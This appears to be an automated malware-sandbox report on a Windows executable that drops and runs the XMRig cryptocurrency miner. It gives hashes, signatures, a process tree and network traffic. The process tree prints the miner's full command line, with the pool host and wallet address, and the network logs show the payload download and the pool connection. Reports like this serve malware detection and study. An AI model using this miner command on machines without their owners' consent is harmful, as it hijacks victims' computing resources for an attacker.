Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

main - Copy (10).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

1

main - Copy (2).exe

windows10-2004-x64

1

main - Cop...py.exe

windows10-2004-x64

1

main - Copy (3).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (4).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

1

main - Copy (5).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (6).exe

windows10-2004-x64

10

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (7).exe

windows10-2004-x64

1

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (8).exe

windows10-2004-x64

1

main - Cop...py.exe

windows10-2004-x64

10

main - Copy (9).exe

windows10-2004-x64

1

main - Cop...py.exe

windows10-2004-x64

10

main - Copy.exe

windows10-2004-x64

1

main.exe

windows10-2004-x64

10

Resubmissions

06/07/2024, 19:03 UTC

240706-xqksaazhrm 10

21/06/2024, 07:08 UTC

240621-hyl8razgpc 10

16/06/2024, 18:48 UTC

240616-xf5ppswgmq 10

16/06/2024, 18:34 UTC

240616-w759wasbqf 10

16/06/2024, 18:21 UTC

240616-wzje5swajj 10

16/06/2024, 18:08 UTC

240616-wqxams1ekf 10

16/06/2024, 17:54 UTC

240616-whbzqsvcrn 10

16/06/2024, 17:41 UTC

240616-v9q3aszhkf 10

16/06/2024, 17:28 UTC

240616-v1237szgpc 10

Analysis

  • max time kernel
    1801s
  • max time network
    1822s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/06/2024, 06:55 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    main - Copy (10).exe

  • Size

    6.9MB

  • MD5

    22c978ffaefef3389bf29068b9621661

  • SHA1

    5671972c1d70826fb85dced4c83c700dd282ea21

  • SHA256

    e6ee8e9b38e10a92a89e61b8655ca4fedcc381fd93cb36f43fe323132923dfcf

  • SHA512

    8a280cb782f0afab171d2e7955b75362e98cefd449d382004ef2568c2c230cd633a754b1dd5f0dc5e17407819e4dceb5b0cbb2647e279a6ec674b8d9484be26a

  • SSDEEP

    98304:7b5Ak7khMiyw0VREqfnle5EEPbxVhCQHSIMf:5LUMiywZqshDxaQHh

Score
10/10
xmrigminer

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Executes dropped EXE 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe
    "C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:444
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4848
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3912 --field-trial-handle=2248,i,10247514684337323751,15511974759131734137,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:2496
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4020 --field-trial-handle=2248,i,10247514684337323751,15511974759131734137,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:1516
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
        1⤵
          PID:3112
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k UnistackSvcGroup
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3212

        Network

        • flag-us
          DNS
          203.107.17.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          203.107.17.2.in-addr.arpa
          IN PTR
          Response
          203.107.17.2.in-addr.arpa
          IN PTR
          a2-17-107-203deploystaticakamaitechnologiescom
        • flag-us
          DNS
          13.86.106.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          13.86.106.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          github.com
          main - Copy (10).exe
          Remote address:
          8.8.8.8:53
          Request
          github.com
          IN A
          Response
          github.com
          IN A
          20.26.156.215
        • flag-us
          DNS
          215.156.26.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          215.156.26.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          172.214.232.199.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          172.214.232.199.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          objects.githubusercontent.com
          main - Copy (10).exe
          Remote address:
          8.8.8.8:53
          Request
          objects.githubusercontent.com
          IN A
          Response
          objects.githubusercontent.com
          IN A
          185.199.108.133
          objects.githubusercontent.com
          IN A
          185.199.110.133
          objects.githubusercontent.com
          IN A
          185.199.111.133
          objects.githubusercontent.com
          IN A
          185.199.109.133
        • flag-us
          DNS
          133.108.199.185.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          133.108.199.185.in-addr.arpa
          IN PTR
          Response
          133.108.199.185.in-addr.arpa
          IN PTR
          cdn-185-199-108-133githubcom
        • flag-us
          DNS
          pool.hashvault.pro
          xmrig.exe
          Remote address:
          8.8.8.8:53
          Request
          pool.hashvault.pro
          IN A
          Response
          pool.hashvault.pro
          IN A
          45.76.89.70
          pool.hashvault.pro
          IN A
          95.179.241.203
        • flag-us
          DNS
          203.241.179.95.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          203.241.179.95.in-addr.arpa
          IN PTR
          Response
          203.241.179.95.in-addr.arpa
          IN PTR
          95179241203vultrusercontentcom
        • flag-us
          DNS
          95.221.229.192.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          95.221.229.192.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          71.159.190.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          71.159.190.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          196.249.167.52.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          196.249.167.52.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          183.59.114.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          183.59.114.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          198.187.3.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          198.187.3.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          92.12.20.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          92.12.20.2.in-addr.arpa
          IN PTR
          Response
          92.12.20.2.in-addr.arpa
          IN PTR
          a2-20-12-92deploystaticakamaitechnologiescom
        • flag-us
          DNS
          144.107.17.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          144.107.17.2.in-addr.arpa
          IN PTR
          Response
          144.107.17.2.in-addr.arpa
          IN PTR
          a2-17-107-144deploystaticakamaitechnologiescom
        • flag-us
          DNS
          11.227.111.52.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          11.227.111.52.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          25.73.42.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          25.73.42.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          chromewebstore.googleapis.com
          Remote address:
          8.8.8.8:53
          Request
          chromewebstore.googleapis.com
          IN A
          Response
          chromewebstore.googleapis.com
          IN A
          172.217.169.74
          chromewebstore.googleapis.com
          IN A
          172.217.16.234
          chromewebstore.googleapis.com
          IN A
          142.250.187.234
          chromewebstore.googleapis.com
          IN A
          172.217.169.42
          chromewebstore.googleapis.com
          IN A
          142.250.200.10
          chromewebstore.googleapis.com
          IN A
          142.250.187.202
          chromewebstore.googleapis.com
          IN A
          216.58.201.106
          chromewebstore.googleapis.com
          IN A
          142.250.178.10
          chromewebstore.googleapis.com
          IN A
          216.58.213.10
          chromewebstore.googleapis.com
          IN A
          142.250.200.42
          chromewebstore.googleapis.com
          IN A
          216.58.204.74
          chromewebstore.googleapis.com
          IN A
          142.250.180.10
          chromewebstore.googleapis.com
          IN A
          216.58.212.234
          chromewebstore.googleapis.com
          IN A
          142.250.179.234
        • flag-us
          DNS
          chromewebstore.googleapis.com
          Remote address:
          8.8.8.8:53
          Request
          chromewebstore.googleapis.com
          IN Unknown
          Response
        • flag-us
          DNS
          74.169.217.172.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          74.169.217.172.in-addr.arpa
          IN PTR
          Response
          74.169.217.172.in-addr.arpa
          IN PTR
          lhr48s09-in-f101e100net
        • flag-us
          DNS
          103.169.127.40.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          103.169.127.40.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          22.160.190.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          22.160.190.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          www.microsoft.com
          Remote address:
          8.8.8.8:53
          Request
          www.microsoft.com
          IN A
          Response
          www.microsoft.com
          IN CNAME
          www.microsoft.com-c-3.edgekey.net
          www.microsoft.com-c-3.edgekey.net
          IN CNAME
          www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
          www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
          IN CNAME
          e13678.dscb.akamaiedge.net
          e13678.dscb.akamaiedge.net
          IN A
          2.21.189.233
        • flag-gb
          GET
          http://www.microsoft.com/pkiops/certs/Microsoft%20RSA%20Root%20Certificate%20Authority%202017.crt
          Remote address:
          2.21.189.233:80
          Request
          GET /pkiops/certs/Microsoft%20RSA%20Root%20Certificate%20Authority%202017.crt HTTP/1.1
          Connection: Keep-Alive
          Accept: */*
          User-Agent: Microsoft-CryptoAPI/10.0
          Host: www.microsoft.com
          Response
          HTTP/1.1 200 OK
          Content-Length: 1452
          Content-Type: application/octet-stream
          Content-MD5: EP8A/8/J+Md6wO41jskPRw==
          Last-Modified: Wed, 22 Jan 2020 23:52:32 GMT
          ETag: 0x8D79F9625D8ACE0
          x-ms-request-id: 9c41eb18-b01e-0017-29fd-ac2e9a000000
          x-ms-version: 2009-09-19
          x-ms-lease-status: unlocked
          x-ms-blob-type: BlockBlob
          AK-Forward-Host:
          Date: Sun, 16 Jun 2024 07:33:40 GMT
          Connection: keep-alive
          TLS_version: UNKNOWN
          ms-cv: CASMicrosoftCVb25351eb.0
          ms-cv-esi: CASMicrosoftCVb25351eb.0
          X-RTag: RT
        • flag-us
          DNS
          9.228.82.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          9.228.82.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          9.228.82.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          9.228.82.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          233.189.21.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          233.189.21.2.in-addr.arpa
          IN PTR
          Response
          233.189.21.2.in-addr.arpa
          IN PTR
          a2-21-189-233deploystaticakamaitechnologiescom
        • flag-us
          DNS
          233.189.21.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          233.189.21.2.in-addr.arpa
          IN PTR
          Response
          233.189.21.2.in-addr.arpa
          IN PTR
          a2-21-189-233deploystaticakamaitechnologiescom
        • flag-us
          DNS
          206.221.208.4.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          206.221.208.4.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          206.221.208.4.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          206.221.208.4.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          28.190.21.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          28.190.21.2.in-addr.arpa
          IN PTR
          Response
          28.190.21.2.in-addr.arpa
          IN PTR
          a2-21-190-28deploystaticakamaitechnologiescom
        • flag-us
          DNS
          28.190.21.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          28.190.21.2.in-addr.arpa
          IN PTR
          Response
          28.190.21.2.in-addr.arpa
          IN PTR
          a2-21-190-28deploystaticakamaitechnologiescom
        • flag-us
          DNS
          171.39.242.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          171.39.242.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          171.39.242.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          171.39.242.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          199.189.21.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          199.189.21.2.in-addr.arpa
          IN PTR
          Response
          199.189.21.2.in-addr.arpa
          IN PTR
          a2-21-189-199deploystaticakamaitechnologiescom
        • flag-us
          DNS
          199.189.21.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          199.189.21.2.in-addr.arpa
          IN PTR
          Response
          199.189.21.2.in-addr.arpa
          IN PTR
          a2-21-189-199deploystaticakamaitechnologiescom
        • flag-us
          DNS
          119.110.54.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          119.110.54.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          119.110.54.20.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          119.110.54.20.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          172.210.232.199.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          172.210.232.199.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          172.210.232.199.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          172.210.232.199.in-addr.arpa
          IN PTR
          Response
        • flag-us
          DNS
          248.107.17.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          248.107.17.2.in-addr.arpa
          IN PTR
          Response
          248.107.17.2.in-addr.arpa
          IN PTR
          a2-17-107-248deploystaticakamaitechnologiescom
        • flag-us
          DNS
          248.107.17.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          248.107.17.2.in-addr.arpa
          IN PTR
          Response
          248.107.17.2.in-addr.arpa
          IN PTR
          a2-17-107-248deploystaticakamaitechnologiescom
        • flag-us
          DNS
          107.12.20.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          107.12.20.2.in-addr.arpa
          IN PTR
          Response
          107.12.20.2.in-addr.arpa
          IN PTR
          a2-20-12-107deploystaticakamaitechnologiescom
        • flag-us
          DNS
          107.12.20.2.in-addr.arpa
          Remote address:
          8.8.8.8:53
          Request
          107.12.20.2.in-addr.arpa
          IN PTR
          Response
          107.12.20.2.in-addr.arpa
          IN PTR
          a2-20-12-107deploystaticakamaitechnologiescom
        • 20.26.156.215:443
          github.com
          tls
          main - Copy (10).exe
          1.3kB
           8.4kB
           17
          16
        • 20.231.121.79:80
          46 B
           1
        • 185.199.108.133:443
          objects.githubusercontent.com
          tls
          main - Copy (10).exe
          124.4kB
           3.5MB
           2384
          2629
        • 95.179.241.203:80
          pool.hashvault.pro
          tls
          xmrig.exe
          15.6kB
           56.3kB
           154
          129
        • 13.107.246.64:443
          46 B
           40 B
           1
          1
        • 172.217.169.74:443
          chromewebstore.googleapis.com
          tls
          2.0kB
           7.9kB
           17
          17
        • 2.21.189.233:80
          http://www.microsoft.com/pkiops/certs/Microsoft%20RSA%20Root%20Certificate%20Authority%202017.crt
          http
          466 B
           2.2kB
           6
          5

          HTTP Request

          GET http://www.microsoft.com/pkiops/certs/Microsoft%20RSA%20Root%20Certificate%20Authority%202017.crt

          HTTP Response

          200
        • 8.8.8.8:53
          203.107.17.2.in-addr.arpa
          dns
          71 B
           135 B
           1
          1

          DNS Request

          203.107.17.2.in-addr.arpa

        • 8.8.8.8:53
          13.86.106.20.in-addr.arpa
          dns
          71 B
           157 B
           1
          1

          DNS Request

          13.86.106.20.in-addr.arpa

        • 8.8.8.8:53
          github.com
          dns
          main - Copy (10).exe
          56 B
           72 B
           1
          1

          DNS Request

          github.com

          DNS Response

          20.26.156.215

        • 8.8.8.8:53
          215.156.26.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          215.156.26.20.in-addr.arpa

        • 8.8.8.8:53
          172.214.232.199.in-addr.arpa
          dns
          74 B
           128 B
           1
          1

          DNS Request

          172.214.232.199.in-addr.arpa

        • 8.8.8.8:53
          objects.githubusercontent.com
          dns
          main - Copy (10).exe
          75 B
           139 B
           1
          1

          DNS Request

          objects.githubusercontent.com

          DNS Response

          185.199.108.133
          185.199.110.133
          185.199.111.133
          185.199.109.133

        • 8.8.8.8:53
          133.108.199.185.in-addr.arpa
          dns
          74 B
           118 B
           1
          1

          DNS Request

          133.108.199.185.in-addr.arpa

        • 8.8.8.8:53
          pool.hashvault.pro
          dns
          xmrig.exe
          64 B
           96 B
           1
          1

          DNS Request

          pool.hashvault.pro

          DNS Response

          45.76.89.70
          95.179.241.203

        • 8.8.8.8:53
          203.241.179.95.in-addr.arpa
          dns
          73 B
           122 B
           1
          1

          DNS Request

          203.241.179.95.in-addr.arpa

        • 8.8.8.8:53
          95.221.229.192.in-addr.arpa
          dns
          73 B
           144 B
           1
          1

          DNS Request

          95.221.229.192.in-addr.arpa

        • 8.8.8.8:53
          71.159.190.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          71.159.190.20.in-addr.arpa

        • 8.8.8.8:53
          196.249.167.52.in-addr.arpa
          dns
          73 B
           147 B
           1
          1

          DNS Request

          196.249.167.52.in-addr.arpa

        • 8.8.8.8:53
          183.59.114.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          183.59.114.20.in-addr.arpa

        • 8.8.8.8:53
          198.187.3.20.in-addr.arpa
          dns
          71 B
           157 B
           1
          1

          DNS Request

          198.187.3.20.in-addr.arpa

        • 8.8.8.8:53
          92.12.20.2.in-addr.arpa
          dns
          69 B
           131 B
           1
          1

          DNS Request

          92.12.20.2.in-addr.arpa

        • 8.8.8.8:53
          144.107.17.2.in-addr.arpa
          dns
          71 B
           135 B
           1
          1

          DNS Request

          144.107.17.2.in-addr.arpa

        • 8.8.8.8:53
          11.227.111.52.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          11.227.111.52.in-addr.arpa

        • 8.8.8.8:53
          25.73.42.20.in-addr.arpa
          dns
          70 B
           156 B
           1
          1

          DNS Request

          25.73.42.20.in-addr.arpa

        • 8.8.8.8:53
          chromewebstore.googleapis.com
          dns
          75 B
           299 B
           1
          1

          DNS Request

          chromewebstore.googleapis.com

          DNS Response

          172.217.169.74
          172.217.16.234
          142.250.187.234
          172.217.169.42
          142.250.200.10
          142.250.187.202
          216.58.201.106
          142.250.178.10
          216.58.213.10
          142.250.200.42
          216.58.204.74
          142.250.180.10
          216.58.212.234
          142.250.179.234

        • 8.8.8.8:53
          chromewebstore.googleapis.com
          dns
          75 B
           132 B
           1
          1

          DNS Request

          chromewebstore.googleapis.com

        • 8.8.8.8:53
          74.169.217.172.in-addr.arpa
          dns
          73 B
           112 B
           1
          1

          DNS Request

          74.169.217.172.in-addr.arpa

        • 8.8.8.8:53
          103.169.127.40.in-addr.arpa
          dns
          73 B
           147 B
           1
          1

          DNS Request

          103.169.127.40.in-addr.arpa

        • 8.8.8.8:53
          22.160.190.20.in-addr.arpa
          dns
          72 B
           158 B
           1
          1

          DNS Request

          22.160.190.20.in-addr.arpa

        • 8.8.8.8:53
          www.microsoft.com
          dns
          63 B
           230 B
           1
          1

          DNS Request

          www.microsoft.com

          DNS Response

          2.21.189.233

        • 8.8.8.8:53
          9.228.82.20.in-addr.arpa
          dns
          140 B
           312 B
           2
          2

          DNS Request

          9.228.82.20.in-addr.arpa

          DNS Request

          9.228.82.20.in-addr.arpa

        • 8.8.8.8:53
          233.189.21.2.in-addr.arpa
          dns
          142 B
           270 B
           2
          2

          DNS Request

          233.189.21.2.in-addr.arpa

          DNS Request

          233.189.21.2.in-addr.arpa

        • 8.8.8.8:53
          206.221.208.4.in-addr.arpa
          dns
          144 B
           316 B
           2
          2

          DNS Request

          206.221.208.4.in-addr.arpa

          DNS Request

          206.221.208.4.in-addr.arpa

        • 8.8.8.8:53
          28.190.21.2.in-addr.arpa
          dns
          140 B
           266 B
           2
          2

          DNS Request

          28.190.21.2.in-addr.arpa

          DNS Request

          28.190.21.2.in-addr.arpa

        • 8.8.8.8:53
          171.39.242.20.in-addr.arpa
          dns
          144 B
           316 B
           2
          2

          DNS Request

          171.39.242.20.in-addr.arpa

          DNS Request

          171.39.242.20.in-addr.arpa

        • 8.8.8.8:53
          199.189.21.2.in-addr.arpa
          dns
          142 B
           270 B
           2
          2

          DNS Request

          199.189.21.2.in-addr.arpa

          DNS Request

          199.189.21.2.in-addr.arpa

        • 8.8.8.8:53
          119.110.54.20.in-addr.arpa
          dns
          144 B
           316 B
           2
          2

          DNS Request

          119.110.54.20.in-addr.arpa

          DNS Request

          119.110.54.20.in-addr.arpa

        • 8.8.8.8:53
          172.210.232.199.in-addr.arpa
          dns
          148 B
           256 B
           2
          2

          DNS Request

          172.210.232.199.in-addr.arpa

          DNS Request

          172.210.232.199.in-addr.arpa

        • 8.8.8.8:53
          248.107.17.2.in-addr.arpa
          dns
          142 B
           270 B
           2
          2

          DNS Request

          248.107.17.2.in-addr.arpa

          DNS Request

          248.107.17.2.in-addr.arpa

        • 8.8.8.8:53
          107.12.20.2.in-addr.arpa
          dns
          140 B
           266 B
           2
          2

          DNS Request

          107.12.20.2.in-addr.arpa

          DNS Request

          107.12.20.2.in-addr.arpa

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
          Filesize

          7.9MB

          MD5

          e2fe87cc2c7dab8ca6516620dccd1381

          SHA1

          f714ec0448325435103519452610cf7aadf8bbba

          SHA256

          d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

          SHA512

          8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

          Download Submit

        • memory/4848-16-0x0000023366200000-0x0000023366220000-memory.dmp

          Filesize

          128KB

          Download

        • memory/4848-17-0x0000023366250000-0x0000023366270000-memory.dmp

          Filesize

          128KB

          Download

        • memory/4848-18-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-19-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-20-0x0000023367A20000-0x0000023367A40000-memory.dmp

          Filesize

          128KB

          Download

        • memory/4848-21-0x0000023367A40000-0x0000023367A60000-memory.dmp

          Filesize

          128KB

          Download

        • memory/4848-22-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-23-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-26-0x0000023367A40000-0x0000023367A60000-memory.dmp

          Filesize

          128KB

          Download

        • memory/4848-25-0x0000023367A20000-0x0000023367A40000-memory.dmp

          Filesize

          128KB

          Download

        • memory/4848-24-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-27-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-28-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-29-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-30-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-31-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-32-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-33-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-34-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-35-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-36-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-37-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-38-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-39-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-40-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-41-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-42-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-43-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-44-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-45-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-46-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-47-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-48-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-49-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-50-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-51-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-52-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-53-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-54-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-55-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-56-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-57-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-58-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-59-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-60-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-61-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-62-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-63-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-64-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-65-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-66-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

        • memory/4848-67-0x00007FF6A86E0000-0x00007FF6A91E3000-memory.dmp

          Filesize

          11.0MB

          Download

